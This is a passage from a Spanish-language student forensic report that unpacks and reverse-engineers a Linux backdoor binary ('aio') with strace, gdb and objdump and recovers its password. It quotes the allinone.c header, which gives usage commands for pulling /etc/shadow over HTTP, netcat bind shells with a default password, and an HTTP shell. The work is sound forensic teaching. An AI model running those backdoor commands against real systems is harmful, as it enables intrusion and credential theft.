fcntl(3, F_SETFD, FD_CLOEXEC) = 0

execve("/proc/3946/fd/3", ["./aio"], [/* 33 vars */]) = 0

uname({sys="Linux", node="Helix", ...}) = 0

brk(0) = 0x8055000

Los file descriptors 4 y 3 se cierrann, pero se vuelve a abrir el archivo /tmp/upxDYMIBV1AD1K

como solo lectura. Más tarde es borrado, para no dejar evidencia, sabiendo que mientras no termine el

proceso, su contenido va a estar aun disponible.

Utilizando execve, carga y ejecuta el binario descomprimido, que no puede ser accedido para su análisis

porque ha sido borrado.

access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)

mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =

0xb7fc7000

access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)

open("/etc/ld.so.cache", O_RDONLY) = 3

fstat64(3, {st_mode=S_IFREG|0644, st_size=45008, ...}) = 0

mmap2(NULL, 45008, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7fbc000

close(3) = 0

access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)

37

66.69 Criptografía y Seguridad Informática

Análisis Forense – Grupo 1

open("/lib/tls/libpthread.so.0", O_RDONLY) = 3

read(3, "\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00"..., 512) = 512

...

Carga ahora en memoria shared libraries.

write(1, "Enter Password: ", 16) = 16

| 00000 45 6e 74 65 72 20 50 61 73 73 77 6f 72 64 3a 20 Enter Pa ssword: |

read(0, "123\n", 1024) = 4

| 00000 31 32 33 0a 123. |

write(1, "You entered an Incorrect Passwor"..., 47) = 47

| 00000 59 6f 75 20 65 6e 74 65 72 65 64 20 61 6e 20 49 You ente red an I |

| 00010 6e 63 6f 72 72 65 63 74 20 50 61 73 73 77 6f 72 ncorrect Passwor |

| 00020 64 2e 20 20 45 78 69 74 69 6e 67 2e 2e 2e 0a d. Exit ing.... |

munmap(0xb7fc6000, 4096) = 0

exit_group(0) = ?

Finalmente, hace un read que resulta en nuestra carga 123, desplegando un mensaje y finalizando.

El esquema de binarios comprimidos o empaquetados dentro de otro es una técnica habitual para

la construcción de malware, que introduce complejidad en el análisis forense.

Ya que el ejecutable es borrado utilizaremos del debugger para obtener mayor información del

binario en tiempo de ejecución.

$ gdb aio

GNU gdb 6.6

Copyright (C) 2006 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB. Type "show warranty" for details.

This GDB was configured as "i686-pc-linux-gnu".

(gdb)

Nota: la distribución de Helix utilizada no dispone de gdb instalado, por lo que fue necesario

descargarlo, compilarlo e instalarlo.

(gdb) info functions

All defined functions:

(gdb) info variables

All defined variables:

(gdb) info types

All defined types:

38

66.69 Criptografía y Seguridad Informática

Análisis Forense – Grupo 1

No se encontraron funciones, variables o tipos de datos.

(gdb) break main

No symbol table is loaded. Use the "file" command.

No existe la función main.

(gdb) info file

Symbols from "/ramdisk/home/knoppix/forense/aio".

Local exec file:

`/ramdisk/home/knoppix/forense/aio', file type elf32-i386.

Entry point: 0x8048080

Encontramos el punto de entrada al programa.

(gdb) break *0x8048080

Breakpoint 1 at 0x8048080

(gdb) run

Starting program: /ramdisk/home/knoppix/forense/aio

warning: shared library handler failed to enable breakpoint

(no debugging symbols found)

Enter Password:

No funcionó el break. Entonces hacemos <CONTROL-C> para cancelar la ejecución y tener el

control sobre el debug.

Program received signal SIGINT, Interrupt.

0xb7ecdcbe in ?? ()

(gdb) disassemble

No function contains program counter for selected frame.

No podemos desensamblar, porque no estamos en el contexto de en una función.

(gdb) where

#0 0xb7ecdcbe in ?? ()

#1 0xb7f3eff4 in ?? ()

#2 0xb7e709a8 in ?? ()

#3 0x00000000 in ?? ()

(gdb) print $pc

$1 = (void (*)()) 0xb7ecdcbe

Con la posición del PC (program counter) podemos especificar el rango a desemsamblar, en un

contexto del mismo.

39

66.69 Criptografía y Seguridad Informática

Análisis Forense – Grupo 1

(gdb) disassemble 0xb7ecdca0 0xb7ecdccc

Dump of assembler code from 0xb7ecdca0 to 0xb7ecdccc:

0xb7ecdca0: cmpl $0x0,%gs:0xc

0xb7ecdca8: jne 0xb7ecdcc7

0xb7ecdcaa: push %ebx

0xb7ecdcab: mov 0x10(%esp),%edx

0xb7ecdcaf: mov 0xc(%esp),%ecx

0xb7ecdcb3: mov 0x8(%esp),%ebx

0xb7ecdcb7: mov $0x3,%eax ; read

0xb7ecdcbc: int $0x80 ; interrupcion 80 kernel call

0xb7ecdcbe: pop %ebx

0xb7ecdcbf: cmp $0xfffff001,%eax ; compara

0xb7ecdcc4: jae 0xb7ecdcf3 ; salto condicional

0xb7ecdcc6: ret

0xb7ecdcc7: call 0xb7ee96f0

End of assembler dump.

Identificamos que la interrupción 0x80 le indica al kernel que ejecute la system call en eax. (los

números de funciones se pueden consultar en /usr/include/asm/unistd.h). El resultado de la system

call se localiza en eax.

(gdb) gcore

Saved corefile core.21095

Suspendemos la ejecución en este punto. gcore hace un dump de la memoria actual de aio a

core.21095.

(gdb) quit

Podemos ahora utilizar las herramientas para recuperar información del binario.

$ readelf --headers core.21095 > readelf_headers_core_21095.txt

$ objdump –all-headers core.21095 > objdump_headers_core_21095.txt

$ objdump -full-contents core.21095 > objdump_contents_core_21095.txt

$ objdump –disassemble core.21095 > objdump_disassemble_core_21095.txt

$ strings -a core.21095 > strings_core_21095.txt

Toda esta información la utilizaremos más adelante. Si nos detuvieramos a analizarla en este

momento nos tomaría demasiado tiempo y no aportaría demasiado valor.

Ahora nos concentraremo en recuperar el binario descomprimido original.

$ ./aio

40

66.69 Criptografía y Seguridad Informática

Análisis Forense – Grupo 1

Enter Password:

Mientras está bloqueado, desde otra consala buscamos los archivos abiertos que no están

linkeados.

$ lsof +L1

COMMAND PID USER FD TYPE DEVICE SIZE NLINK NODE NAME

3 3825 root txt REG 0,13 25469 0 22347

/ramdisk/var/tmp/upxDPQQJQVADXR (deleted)

$ ps -eaf | grep aio

root 3825 3635 0 01:12 pts/7 00:00:00 ./aio

$ mount

/dev/root on / type ext2 (rw)

/proc on /proc type proc (rw)

/dev/pts on /dev/pts type devpts (rw)

/sys on /sys type sysfs (rw)

/dev/hda on /cdrom type iso9660 (ro)

/dev/loop0 on /KNOPPIX type squashfs (ro)

/dev/hda on /cdrom type iso9660 (ro)

/dev/loop0 on /KNOPPIX type squashfs (ro)

/ramdisk on /ramdisk type tmpfs (rw,size=810208k)

proc on /proc type proc (rw)

/dev/pts on /dev/pts type devpts (rw,mode=0622)

/proc/bus/usb on /proc/bus/usb type usbfs (rw,devmode=0666)

none on /KNOPPIX type unionfs (rw,dirs=/KNOPPIX)

/dev/sda1 on /media/sda1 type ext2 (ro,noexec,nosuid,nodev,noatime

$ debugfs /dev/root

debugfs 1.39-WIP (10-Dec-2005)

debugfs: lsdel

Segmentation fault

Debido a que estamos ejecutando un ambiente que monta el file system sobre la memoria no

podemos utilizar lsdel para recuperar el archivo.

A partir del strace inicial podemos tomar el parametro del system call write que escribe el archivo

y regenerar el archivo.

write(4, "\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00"..., 25469) =

25469

| 00000 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 .ELF.... ........ |

| 00010 02 00 03 00 01 00 00 00 80 8e 04 08 34 00 00 00 ........ ....4... |

| 00020 40 4e 00 00 00 00 00 00 34 00 20 00 06 00 28 00 @N...... 4. ...(. |

| 00030 22 00 1f 00 06 00 00 00 34 00 00 00 34 80 04 08 "....... 4...4... |

| 00040 34 80 04 08 c0 00 00 00 c0 00 00 00 05 00 00 00 4....... ........ |

41

66.69 Criptografía y Seguridad Informática

Análisis Forense – Grupo 1

| 00050 04 00 00 00 03 00 00 00 f4 00 00 00 f4 80 04 08 ........ ........ |

| 00060 f4 80 04 08 13 00 00 00 13 00 00 00 04 00 00 00 ........ ........ |

| 00070 01 00 00 00 01 00 00 00 00 00 00 00 00 80 04 08 ........ ........ |

| 00080 00 80 04 08 39 30 00 00 39 30 00 00 05 00 00 00 ....90.. 90...... |

| 00090 00 10 00 00 01 00 00 00 3c 30 00 00 3c c0 04 08 ........ <0..<... |

| 000a0 3c c0 04 08 e0 01 00 00 1c 83 00 00 06 00 00 00 <....... ........ |

| 000b0 00 10 00 00 02 00 00 00 4c 30 00 00 4c c0 04 08 ........ L0..L... |

| 000c0 4c c0 04 08 d0 00 00 00 d0 00 00 00 06 00 00 00 L....... ........ |

| 000d0 04 00 00 00 04 00 00 00 08 01 00 00 08 81 04 08 ........ ........ |

| 000e0 08 81 04 08 20 00 00 00 20 00 00 00 04 00 00 00 .... ... ....... |

| 000f0 04 00 00 00 2f 6c 69 62 2f 6c 64 2d 6c 69 6e 75 ..../lib /ld-linu |

| 00100 78 2e 73 6f 2e 32 00 00 04 00 00 00 10 00 00 00 x.so.2.. ........ |

| 00110 01 00 00 00 47 4e 55 00 00 00 00 00 02 00 00 00 ....GNU. ........ |

| 00120 02 00 00 00 05 00 00 00 25 00 00 00 3b 00 00 00 ........ %...;... |

| 00130 29 00 00 00 36 00 00 00 26 00 00 00 00 00 00 00 )...6... &....... |

| 00140 00 00 00 00 00 00 00 00 1b 00 00 00 00 00 00 00 ........ ........ |

$ cp strace_aio.txt aio_strace_bin.txt

$ vi aio_strace_bin.txt

Dejamos desde la línea siguiente a

write(4, "\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00"..., 25469) =

25469

hasta la línea

| 06370 79 40 40 47 4c 49 42 43 5f 32 2e 30 00 y@@GLIBC _2.0. |

$ cat aio_strace_bin.txt | awk '{print $3 $4 $5 $6 $7 $8 $9 $10 $11 $12

$13 $14 $15 $16 $17 $18}' > aio_strace_bin.txt

$ vi aio_strace_bin.txt

y borramos en la última línea el excedente y@@GLIBC_2.0.1

Utilizamos el editor hexadecimal para reconstruir el binario a partir del texto y lo guardamos como

aio_strace.bin

$ md5sum aio_strace.bin > md5sum_aio_strace.txt

$ cat md5sum_aio_strace.txt

b7e14f8de6e96097873518869f15cded aio_strace.bin

También podemos hacerlo de la siguiente manera.

$ ./aio

Enter Password:

42

66.69 Criptografía y Seguridad Informática

Análisis Forense – Grupo 1

$ ps -ef | grep aio

root 4255 3635 0 02:26 pts/7 00:00:00 ./aio

$ ls -la /proc/4255

total 0

dr-xr-xr-x 5 root root 0 Jun 30 02:26 .

dr-xr-xr-x 106 root root 0 Jun 29 20:55 ..

dr-xr-xr-x 2 root root 0 Jun 30 02:26 attr

-r-------- 1 root root 0 Jun 30 02:26 auxv

-r--r--r-- 1 root root 0 Jun 30 02:26 cmdline

lrwxrwxrwx 1 root root 0 Jun 30 02:26 cwd -> /ramdisk/home/knoppix/forense

-r-------- 1 root root 0 Jun 30 02:26 environ

lrwxrwxrwx 1 root root 0 Jun 30 02:26 exe -> /ramdisk/var/tmp/upxAJENV4XAEE5

(deleted)

dr-x------ 2 root root 0 Jun 30 02:26 fd

-r--r--r-- 1 root root 0 Jun 30 02:26 maps

-rw------- 1 root root 0 Jun 30 02:26 mem

-r--r--r-- 1 root root 0 Jun 30 02:26 mounts

-rw-r--r-- 1 root root 0 Jun 30 02:26 oom_adj

-r--r--r-- 1 root root 0 Jun 30 02:26 oom_score

lrwxrwxrwx 1 root root 0 Jun 30 02:26 root -> /

-rw------- 1 root root 0 Jun 30 02:26 seccomp

-r--r--r-- 1 root root 0 Jun 30 02:26 smaps

-r--r--r-- 1 root root 0 Jun 30 02:26 stat

-r--r--r-- 1 root root 0 Jun 30 02:26 statm

-r--r--r-- 1 root root 0 Jun 30 02:26 status

dr-xr-xr-x 3 root root 0 Jun 30 02:26 task

-r--r--r-- 1 root root 0 Jun 30 02:26 wchan

A pesar de que se halla deslinkeado el archivo permanecerá accesible hasta que termine la

ejecución del proceso 4255.

$ cp /proc/4255/exe aio_pid_4255_proc_exe.bin

$ md5sum aio_pid_4255_proc_exe.bin > md5sum_aio_proc_exe.txt

$ cat md5sum_aio_proc_exe.txt

b7e14f8de6e96097873518869f15cded aio_pid_4255_proc_exe.bin

Registramos el md5 de la evidencia recolectada. Ambos md5 (de aio_strace.bin y

aio_proc_exe.bin) son iguales, lo que indica que la evidencia es confiable.

$ cp aio_pid_4255_proc_exe.bin aio.bin

Con el binario descomprimido como evidencia comenzamos nuevamente el análisis estático y

dinámico del mismo.

43

66.69 Criptografía y Seguridad Informática

Análisis Forense – Grupo 1

Análisis Estático: aio.bin $ strings -atx aio.bin

Mostramos algunas de las líneas que nos parecieron interesantes.

2940 RDFpassword

294c [su]

2958 [login]

2967 [bash]

2977 /dev/null

2981 children %d died

29a0 Content-type: text/html

29b9 HTTP/1.1 404 Not Found

29d0 Date: Mon, 14 Jan 2002 03:19:55 GMT

29f4 Server: Apache/1.3.22 (Unix)

2a11 Connection: close

2a23 Content-Type: text/html

2a3c <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 4.0//EN">

2a6f <HTML><HEAD>

2a7c <TITLE>404 Not Found</TITLE>

2a99 </HEAD><BODY>

2aa7 <H1>Not Found</H1>

2aba The requested URL was not found on this server.<P>

2aed <HR>

2af2 <ADDRESS>Apache/1.3.22 Server at localhost Port 8008</ADDRESS>

2e60 PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:.

2ea4 kissme:)

2ead bindport

2eb8 socks

2ec5 givemeshell

2ed1 HTTP

2ed8 givemefile

2ee5 Enter Your password:

2f02 ========Welcome to http://www.cnhonker.com========

2f36 ==========You got it, have a goodluck. :)=========

2f6c Your command:

2f7f /bin/sh

2f87 icmp

2f8d Enter Password:

2fa1 Password accepted!

32ed GCC: (GNU) 3.2 20020903 (Red Hat Linux 8.0 3.2-7)

5dd6 allinone2.c

El binario parece tener un servidor Web y capacidades para transferir archivos, ICMP, y shell

remoto.

44

66.69 Criptografía y Seguridad Informática

Análisis Forense – Grupo 1

A diferencia de lo que ocurría en el comienzo la cantidad de información que tenemos a nuestra

disposición para analizar el binario es enorme. En lo que sigue se detallaran aquellos pasos que

hallan sido conducentes para alcanzar el propósito, ignorando las alternativas infructuosas.

Entre los strings encontramos referencia al sitio http://www.cnhonker.com, como también a un

fuente de c con el nombre allinone2.c

Una búsqueda en Google de allinone2.c no produjo ningún resultado, pero para allinone.c el

primer link referencia a un fuente C con el siguiente comentario.

/************************************************************************

* allinone.c for HUC (2002.1)

*

* allinone.c is

* a Http server,

* a sockets transmit server,

* a shell backdoor,

* a icmp backdoor,

* a bind shell backdoor,

* a like http shell,

* it can translate file from remote host,

* it can give you a socks5 proxy,

* it can use for to attack, jumps the extension, Visits other machines.

* it can give you a root shell.:)

*

* Usage:

* compile:

* gcc -o allinone allinone.c -lpthread

* run on target:

* ./allinone

*

* 1.httpd server

* Client:

* http://target:8008/givemefile/etc/passwd

* lynx -dump http://target:8008/givemefile/etc/shadow > shadow

* or wget http://target:8008/givemefile/etc/shadow

*

* 2.icmp backdoor

* Client:

* ping -l 101 target (on windows)

* ping -s 101 -c 4 target (on linux)

* nc target 8080

* kissme:) --> your password

45

66.69 Criptografía y Seguridad Informática

Análisis Forense – Grupo 1

*

* 3.shell backdoor

* Client:

* nc target 8008

* kissme:) --> your password

*

* 4.bind a root shell on your port

* Client:

* http://target:8008/bindport:9999

* nc target 9999

* kissme:) --> your password

*

* 5.sockets transmit

* Client:

* http://target:8008/socks/:local listen port::you want to tran ip:::you want to

tran port

* http://target:8008/socks/:1080::192.168.0.1:::21

* nc target 1080

*

* 6.http shell

* Client:

* http://target:8008/givemeshell:ls -al (no pipe)

*

* ps:

* All bind shell have a passwd, default is: kissme:)

* All bind shell will close, if Two minutes do not have the connection.

* All bind shell only can use one time until reactivates.

*

*

* Code by lion, e-mail: [email protected]

* Welcome to HUC Website, Http://www.cnhonker.com

*

* Test on redhat 6.1/6.2/7.0/7.1/7.2 (maybe others)

* Thx bkbll's Transmit code, and thx Neil,con,iceblood for test.

*

************************************************************************/

En la primera sección se definen las capacidades del fuente.

Numerosas coincidencias con lo encontrado en nuestro binario desconocido nos hacen pensar que

allinone2.c puede ser una variación de este fuente que utilizaremos para aprender sobre aio.bin.

Se intentó con la contraseña por defecto (documentada en el fuente como kissme:) ) sin éxito.

46

66.69 Criptografía y Seguridad Informática

Análisis Forense – Grupo 1

Además existe una explicación del modo de uso, que utilizaremos para el análisis dinámico.

$ nm aio.bin

Tomamos aquellas líneas que indique tipo T (símbolo en sección de código) y lo comparamos con

las funciones definidas en allinone.c. Nos encontramos con que la única diferencia es la presencia

de get_password en aio.bin.

De la misma manera comparamos las líneas que indican tipo B (símbolo en la sección de datos)

con las variables globales en el fuente. Encontramos con que existen tres más en nuestro binario:

pw, stored_password y string_to_print.

Es evidente que se utilizo una modificación de allinone.c para crear aio.bin, pero todavía tenemos

que comparar la implementación de las funciones además de su nombre.

$ gcc -o allinone allinone.c -lpthread

El fuente debe ser corregido para que compile debido a un error de tipeo en la invocación a la

función select.

Una vez compilado, se desensamblan ambos ejecutables y se comparas función a función para

localizar diferencias.

$ objdump -d allinone > objdump_allinone.txt

$ objdump -d aio.bin > objdump_aio_bin.txt

$ diff objdump_aio_bin.txt objdump_allinone.txt

Solo se observan diferencias para la función main, y para la función get_password que no está

presente en allinone.

Para la función main la diferencia se presenta en el siguiente conjunto de instrucciones

8048f46: 68 40 a9 04 08 push $0x804a940

8048f4b: 68 40 c2 04 08 push $0x804c240

8048f50: e8 1b ff ff ff call 8048e70 <strcpy@plt>

8048f55: 83 c4 10 add $0x10,%esp

8048f58: 83 ec 08 sub $0x8,%esp

8048f5b: 68 40 a9 04 08 push $0x804a940

8048f60: 68 a0 42 05 08 push $0x80542a0

8048f65: e8 06 ff ff ff call 8048e70 <strcpy@plt>

8048f6a: 83 c4 10 add $0x10,%esp

47

66.69 Criptografía y Seguridad Informática

Análisis Forense – Grupo 1

8048f6d: c6 05 40 c2 04 08 4a movb $0x4a,0x804c240

8048f74: c6 05 41 c2 04 08 42 movb $0x42,0x804c241

8048f7b: c6 05 42 c2 04 08 52 movb $0x52,0x804c242

8048f82: c6 05 43 c2 04 08 00 movb $0x0,0x804c243

8048f89: c6 05 00 43 05 08 5b movb $0x5b,0x8054300

8048f90: c6 05 01 43 05 08 53 movb $0x53,0x8054301

8048f97: c6 05 02 43 05 08 69 movb $0x69,0x8054302

8048f9e: c6 05 03 43 05 08 6d movb $0x6d,0x8054303

8048fa5: c6 05 04 43 05 08 75 movb $0x75,0x8054304

8048fac: c6 05 05 43 05 08 6c movb $0x6c,0x8054305

8048fb3: c6 05 06 43 05 08 61 movb $0x61,0x8054306

8048fba: c6 05 07 43 05 08 74 movb $0x74,0x8054307

8048fc1: c6 05 08 43 05 08 65 movb $0x65,0x8054308

8048fc8: c6 05 09 43 05 08 64 movb $0x64,0x8054309

8048fcf: c6 05 0a 43 05 08 20 movb $0x20,0x805430a

8048fd6: c6 05 0b 43 05 08 42 movb $0x42,0x805430b

8048fdd: c6 05 0c 43 05 08 6f movb $0x6f,0x805430c

8048fe4: c6 05 0d 43 05 08 6f movb $0x6f,0x805430d

8048feb: c6 05 0e 43 05 08 62 movb $0x62,0x805430e

8048ff2: c6 05 0f 43 05 08 79 movb $0x79,0x805430f

8048ff9: c6 05 10 43 05 08 20 movb $0x20,0x8054310

8049000: c6 05 11 43 05 08 54 movb $0x54,0x8054311

8049007: c6 05 12 43 05 08 72 movb $0x72,0x8054312

804900e: c6 05 13 43 05 08 61 movb $0x61,0x8054313

8049015: c6 05 14 43 05 08 70 movb $0x70,0x8054314

804901c: c6 05 15 43 05 08 21 movb $0x21,0x8054315

8049023: c6 05 16 43 05 08 5d movb $0x5d,0x8054316

804902a: c6 05 17 43 05 08 0a movb $0xa,0x8054317

8049031: c6 05 18 43 05 08 46 movb $0x46,0x8054318

8049038: c6 05 19 43 05 08 6f movb $0x6f,0x8054319

804903f: c6 05 1a 43 05 08 72 movb $0x72,0x805431a

8049046: c6 05 1b 43 05 08 6d movb $0x6d,0x805431b

804904d: c6 05 1c 43 05 08 61 movb $0x61,0x805431c

8049054: c6 05 1d 43 05 08 74 movb $0x74,0x805431d

804905b: c6 05 1e 43 05 08 20 movb $0x20,0x805431e

8049062: c6 05 1f 43 05 08 43 movb $0x43,0x805431f

8049069: c6 05 20 43 05 08 6f movb $0x6f,0x8054320

8049070: c6 05 21 43 05 08 6d movb $0x6d,0x8054321

8049077: c6 05 22 43 05 08 70 movb $0x70,0x8054322

804907e: c6 05 23 43 05 08 6c movb $0x6c,0x8054323

8049085: c6 05 24 43 05 08 65 movb $0x65,0x8054324

804908c: c6 05 25 43 05 08 74 movb $0x74,0x8054325

8049093: c6 05 26 43 05 08 65 movb $0x65,0x8054326

804909a: c6 05 27 43 05 08 21 movb $0x21,0x8054327

80490a1: c6 05 28 43 05 08 0a movb $0xa,0x8054328

80490a8: c6 05 29 43 05 08 00 movb $0x0,0x8054329

48

66.69 Criptografía y Seguridad Informática

Análisis Forense – Grupo 1

80490af: e8 6a 17 00 00 call 804a81e <get_password>

Comenzamos por la primera operación

8048f46: 68 40 a9 04 08 push $0x804a940

$ readelf --section-headers aio.bin

There are 34 section headers, starting at offset 0x4e40:

Section Headers:

[Nr] Name Type Addr Off Size ES Flg Lk Inf Al

[ 0] NULL 00000000 000000 000000 00 0 0 0

[ 1] .interp PROGBITS 080480f4 0000f4 000013 00 A 0 0 1

[ 2] .note.ABI-tag NOTE 08048108 000108 000020 00 A 0 0 4

[ 3] .hash HASH 08048128 000128 000188 04 A 4 0 4

[ 4] .dynsym DYNSYM 080482b0 0002b0 0003b0 10 A 5 1 4

[ 5] .dynstr STRTAB 08048660 000660 0001f0 00 A 0 0 1

[ 6] .gnu.version VERSYM 08048850 000850 000076 02 A 4 0 2

[ 7] .gnu.version_r VERNEED 080488c8 0008c8 000060 00 A 5 2 4

[ 8] .rel.dyn REL 08048928 000928 000008 08 A 4 0 4

[ 9] .rel.plt REL 08048930 000930 0001b8 08 A 4 11 4

[10] .init PROGBITS 08048ae8 000ae8 000018 00 AX 0 0 4

[11] .plt PROGBITS 08048b00 000b00 000380 04 AX 0 0 4

[12] .text PROGBITS 08048e80 000e80 001a80 00 AX 0 0 4

[13] .fini PROGBITS 0804a900 002900 00001c 00 AX 0 0 4

[14] .rodata PROGBITS 0804a920 002920 000719 00 A 0 0 32

[15] .data PROGBITS 0804c03c 00303c 00000c 00 WA 0 0 4

[16] .eh_frame PROGBITS 0804c048 003048 000004 00 WA 0 0 4

[17] .dynamic DYNAMIC 0804c04c 00304c 0000d0 08 WA 5 0 4

[18] .ctors PROGBITS 0804c11c 00311c 000008 00 WA 0 0 4

[19] .dtors PROGBITS 0804c124 003124 000008 00 WA 0 0 4

[20] .jcr PROGBITS 0804c12c 00312c 000004 00 WA 0 0 4

[21] .got PROGBITS 0804c130 003130 0000ec 04 WA 0 0 4

[22] .bss NOBITS 0804c220 003220 008138 00 WA 0 0 32

[23] .comment PROGBITS 00000000 003220 000132 00 0 0 1

[24] .debug_aranges PROGBITS 00000000 003358 000058 00 0 0 8

[25] .debug_pubnames PROGBITS 00000000 0033b0 000025 00 0 0 1

[26] .debug_info PROGBITS 00000000 0033d5 000c85 00 0 0 1

[27] .debug_abbrev PROGBITS 00000000 00405a 000127 00 0 0 1

[28] .debug_line PROGBITS 00000000 004181 0001f2 00 0 0 1

[29] .debug_frame PROGBITS 00000000 004374 000014 00 0 0 4

[30] .debug_str PROGBITS 00000000 004388 00098a 01 MS 0 0 1

[31] .shstrtab STRTAB 00000000 004d12 00012b 00 0 0 1

[32] .symtab SYMTAB 00000000 005390 000960 10 33 55 4

[33] .strtab STRTAB 00000000 005cf0 00068d 00 0 0 1

Key to Flags:

W (write), A (alloc), X (execute), M (merge), S (strings)

49

66.69 Criptografía y Seguridad Informática

Análisis Forense – Grupo 1

I (info), L (link order), G (group), x (unknown)

O (extra OS processing required) o (OS specific), p (processor specific)

Vemos que la dirección corresponde con la sección .rodata.

$ objdump -s --section .rodata aio.bin

804a920 03000000 01000200 00000000 00000000 ................

804a930 00000000 00000000 00000000 00000000 ................

804a940 52444670 61737377 6f726400 5b73755d RDFpassword.[su]

804a950 20202020 20202000 5b6c6f67 696e5d20 .[login]

804a960 20202020 2020005b 62617368 5d202020 .[bash]

804a970 20202020 002f002f 6465762f 6e756c6c ././dev/null

804a980 00636869 6c647265 6e202564 20646965 .children %d die

804a990 640a0000 00000000 00000000 00000000 d...............

804a9a0 436f6e74 656e742d 74797065 3a207465 Content-type: te

804a9b0 78742f68 746d6c0a 0a485454 502f312e xt/html..HTTP/1.

804a9c0 31203430 34204e6f 7420466f 756e640a 1 404 Not Found.

804a9d0 44617465 3a204d6f 6e2c2031 34204a61 Date: Mon, 14 Ja

804a9e0 6e203230 30322030 333a3139 3a353520 n 2002 03:19:55

804a9f0 474d540a 53657276 65723a20 41706163 GMT.Server: Apac

804aa00 68652f31 2e332e32 32202855 6e697829 he/1.3.22 (Unix)

804aa10 0a436f6e 6e656374 696f6e3a 20636c6f .Connection: clo

No nos apuremos a suponer que “RDFpassword” es la contraseña, es demasiado obvio pensarlo.

Analicemos que hacen el resto de las instrucciones.

8048f4b: 68 40 c2 04 08 push $0x804c240

$ nm aio.bin

08054354 B infd

08054350 B maxfd

080542f0 B outfd

080542a0 B pw

0804c2a0 B ret_buf

0804c240 B stored_password

08054300 B string_to_print

El siguiente parámetro colocado en la pila es la dirección de la variable global stored_password.

8048f50: e8 1b ff ff ff call 8048e70 <strcpy@plt>

Copia la cadena “RDFpassword” a la variable stored_password.

8048f55: 83 c4 10 add $0x10,%esp

8048f58: 83 ec 08 sub $0x8,%esp

8048f5b: 68 40 a9 04 08 push $0x804a940

8048f60: 68 a0 42 05 08 push $0x80542a0

50

66.69 Criptografía y Seguridad Informática

Análisis Forense – Grupo 1

8048f65: e8 06 ff ff ff call 8048e70 <strcpy@plt>

Copia la cadena “RDFpassword” a la variable pw

8048f6a: 83 c4 10 add $0x10,%esp

8048f6d: c6 05 40 c2 04 08 4a movb $0x4a,0x804c240

8048f74: c6 05 41 c2 04 08 42 movb $0x42,0x804c241

8048f7b: c6 05 42 c2 04 08 52 movb $0x52,0x804c242

8048f82: c6 05 43 c2 04 08 00 movb $0x0,0x804c243

Ahora se escriben 4 caracteres en stored_password, pisando las primeras 4 posiciones, 0x4a,

0x42, 0x52 y 0x0. Por tanto, stored_password se queda con valor “JBR” (4a 42 52 00).

El resto de las instrucciones colocan en string_to_print la cadena “[Simulated Boody Trap!]

Format Complete”.

Continuemos con la función get_password

0804a81e <get_password>:

804a81e: 55 push %ebp

804a81f: 89 e5 mov %esp,%ebp

804a821: 83 ec 58 sub $0x58,%esp

804a824: 83 ec 0c sub $0xc,%esp

804a827: 68 8d af 04 08 push $0x804af8d

804a82c: e8 0f e5 ff ff call 8048d40 <printf@plt>

804a831: 83 c4 10 add $0x10,%esp

804a834: 83 ec 08 sub $0x8,%esp

804a837: 8d 45 a8 lea 0xffffffa8(%ebp),%eax

804a83a: 50 push %eax

804a83b: 68 9e af 04 08 push $0x804af9e

804a840: e8 3b e4 ff ff call 8048c80 <scanf@plt>

$ objdump -s .rodata aio.bin

804af80 62696e2f 73680069 636d7000 00456e74 bin/sh.icmp..Ent

804af90 65722050 61737377 6f72643a 20002573 er Password: .%s

804afa0 00506173 73776f72 64206163 63657074 .Password accept

804afb0 6564210a 00000000 00000000 00000000 ed!.............

804afc0 596f7520 656e7465 72656420 616e2049 You entered an I

804afd0 6e636f72 72656374 20506173 73776f72 ncorrect Passwor

804afe0 642e2020 45786974 696e672e 2e2e0a00 d. Exiting.....

804aff0 00000000 00000000 00000000 00000000 ................

804b000 3d3d3d3d 3d3d3d3d 3d3d3d3d 3d3d3d3d ================

804b010 3d3d3d3d 3d3d3d3d 3d3d3d3d 3d3d3d3d ================

51

66.69 Criptografía y Seguridad Informática

Análisis Forense – Grupo 1

804b020 3d3d3d3d 3d3d3d3d 3d3d3d3d 3d3d3d3d ================

804b030 3d3d3d3d 3d3d3d0a 00 =======..

En este fragmento está solicitando el ingreso de las password.

Copia el valor ingresado por el usuario en el registro eax.

804a845: 83 c4 10 add $0x10,%esp

804a848: 8d 45 a8 lea 0xffffffa8(%ebp),%eax

804a84b: 83 ec 08 sub $0x8,%esp

804a84e: 50 push %eax

804a84f: 68 40 c2 04 08 push $0x804c240

804a854: e8 27 e3 ff ff call 8048b80 <strcmp@plt>

Compara el valor ingresado que está en eax con 0x804c240 (stored_password “JBR”).

804a859: 83 c4 10 add $0x10,%esp

804a85c: 85 c0 test %eax,%eax

804a85e: 75 12 jne 804a872 <get_password+0x54>

804a860: 83 ec 0c sub $0xc,%esp

804a863: 68 a1 af 04 08 push $0x804afa1

804a868: e8 d3 e4 ff ff call 8048d40 <printf@plt>

Si ambos string son iguales, vale decir si el usuario ingreso “JBR”, entonces muestra el mensaje 0x804afa1.

$ objdump -s .rodata aio.bin

804afa0 00506173 73776f72 64206163 63657074 .Password accept

804afb0 6564210a 00000000 00000000 00000000 ed!.............

Concluimos entonces que la password es “JBR”.

De haber utilizado “RDFpassword”, se habría desplegado el mensaje “[Simulated Boody Trap!]

Format Complete”

52

66.69 Criptografía y Seguridad Informática

Análisis Forense – Grupo 1

Analisis Dinamico: aio.bin

Con la información colectada en el análisis estático previo, inspeccionaremos algunos aspectos

del comportamiento del aio. $ strace -o strace_aio_with_password.txt -x -e read=all -e write=all -ff

./aio

Enter password:

Ingresamos JBR.

Password accepted!

En este punto el programa espera conexiones entrantes.

$ ps -eaf

...

